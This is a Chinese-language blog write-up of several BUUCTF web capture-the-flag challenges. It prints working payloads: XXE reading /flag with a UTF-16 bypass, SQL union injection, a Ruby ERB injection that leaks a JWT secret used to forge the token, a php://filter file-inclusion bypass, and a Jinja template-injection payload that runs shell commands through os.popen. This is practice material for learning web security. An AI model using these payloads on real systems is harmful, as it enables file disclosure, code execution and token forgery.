buuctf web write-up 3

[CSAWQual 2019]Web_Unagi

知识点,xxe编码绕过

先知社区好东西果然多,这篇文章https://xz.aliyun.com/t/4059,讲的很不错,不过更细节的东西需要自己去搜一些。

这道题看到uplaod里面的example,很明显就是xxe了,提示是把/flag 读出来。、

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

这是我们平常用的xxe,但是这个提示是被过滤了。

用utf-16绕过

iconv -f utf8 -t utf-16 2.xml>1.xml

[b01lers2020]Life on Mars

抓包,在点击里面的链接的时候,会出现这个。

里面有个life_on_mars.js文件

function get_life(query) {
  $.ajax({
    type: "GET",
    url: "/query?search=" + query,
    data: "{}",
    contentType: "application/json; charset=utf-8",
    dataType: "json",
    cache: false,
    success: function(data) {
      var table_html =
        '<table id="results"><tr><th>Name</th><th>Description</th></tr>';
      $.each(data, function(i, item) {
        table_html +=
          "<tr><td>" + data[i][0] + "</td><td>" + data[i][1] + "</td></tr>";
      });
      table_html += "</table>";

      $("#results").replaceWith(table_html);
    },

    error: function(msg) { }
  });
}

大概意思就是执行serach 后面的query,看到这个query,我们猜测可能是sql注入,尝试

/query?search=amazonis_planitia%20union%20select%201,2--+&{}&_=1600694246924

之后就正常的操作了,也可以用sqlmap也行

[SCTF2019]Flag Shop

在robots.txt下面,有个文件,里面是用ruby写的源码。

真看不下去新的语言了,旧的学不深还天天新的。

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

重点在这两个地方。

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")  
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then //判断do和name是否相等

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

如果do和name相等,会输出{params[:name][0,7]} working successfully!,会把secret输出。ruby里有预定义变量

$'-最后一次成功匹配右边的字符串。构造do=<%=$'%> is working和name=<%=$'%>,记得把里面内容转成url编码防止出什么过滤的问题。

然后去JWT加密网站,把那个jkl改了,再改掉cookie:auth,就可以了

[BSidesCF 2020]Had a bad day

进去,发现有个?category=woofers。尝试改数据,会有个报错。

大概知道是包含include(GET.php)这样。

尝试?category=woofers/../flag,源码有提示就在这,然后我们尝试用伪协议。

?category=woofers/../php://filter/read=convert.base64-encode/resource=flag

但是这样是报错的,不能用穿越目录又加上伪协议,那我们该想个办法,又有woofers,又有伪协议,php://filter伪协议可以套一层协议,

payload:?category=php://filter/read=convert.base64-encode/woofers/resource=flag

[GYCTF2020]FlaskApp

[BJDCTF 2nd]elementmaster]

纯脑洞题,没啥意义,而且跑起来还会报429 too many request

hidden ID 16进制转字符串变成Po.php

访问只看到一个点

Po是PO一般指钋。钋,化学符号Po。

所以这题是遍历化学元素符号。

import requests
flag=''
arr=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in arr:

    url = "http://e6b25d5a-a17e-4126-8c3d-5f5edaa92eb4.node3.buuoj.cn/"
    str=i
    url=url+str+'.php'
    #print(url)
    r = requests.get(url)
    if(r.status_code == 200):
        flag+=r.text
        print(flag)

[CISCN2019 华东南赛区]Double Secret

进去,只有一句话说找secret,扫描没找到啥东西,尝试secret.php等,结果发现是secret目录

进去以后说是提交secert,无疑就是get或者Post了,这里是get,传secert,是加密。多尝试几个东西会报错。是flask,RC4加密脚本。

我们随便尝试几个发现,d->1,1->d,我们猜测是对称加密,百度一看,果然是。

flask脚本我们就想到模板注入,找到一个RC4的加密脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    #print("加密后的输出(经过编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","要加密的字符串")

写上注入语句,加密进去就可以了。

这里找到一个payload:{{''.class.mro[2].subclasses()[59].init.globals.builtins.import('os').popen('ls').read()}}

然后 ../ ,cat flag.txt

原文地址:https://www.cnblogs.com/vstar-o/p/13629818.html